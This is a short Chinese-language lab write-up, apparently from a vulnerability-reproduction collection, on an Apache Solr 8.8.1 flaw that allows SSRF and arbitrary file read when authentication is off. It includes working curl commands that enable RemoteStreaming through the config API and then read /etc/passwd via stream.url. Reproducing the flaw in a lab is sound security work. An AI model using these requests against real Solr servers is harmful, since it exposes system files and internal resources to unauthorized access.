Apache Solr 是一個開源的搜尋伺服器。在Apache Solr未開啟認證的情況下，攻擊者可直接構造特定請求開啟特定配置，並最終造成SSRF或任意檔案讀取。

參考連結：

• https://mp.weixin.qq.com/s/3WuWUGO61gM0dBpwqTfenQ

漏洞環境

執行如下命令啟動solr 8.8.1：

docker-compose up -d

環境啟動後，訪問http://your-ip:8983即可檢視Apache Solr後臺。

漏洞復現

首先，訪問http://your-ip:8983/solr/admin/cores?indexInfo=false&wt=json

傳送如下資料包，修改資料庫demo的配置，開啟RemoteStreaming：

curl -i -s -k -X $'POST' \
    -H $'Content-Type: application/json' --data-binary $'{\"set-property\":{\"requestDispatcher.requestParsers.enableRemoteStreaming\":true}}' \
    $'http://192.168.75.130:8983/solr/demo/config'

再通過stream.url讀取任意檔案：

curl -i -s -k 'http://your-ip:8983/solr/demo/debug/dump?param=ContentStreams&stream.url=file:///etc/passwd'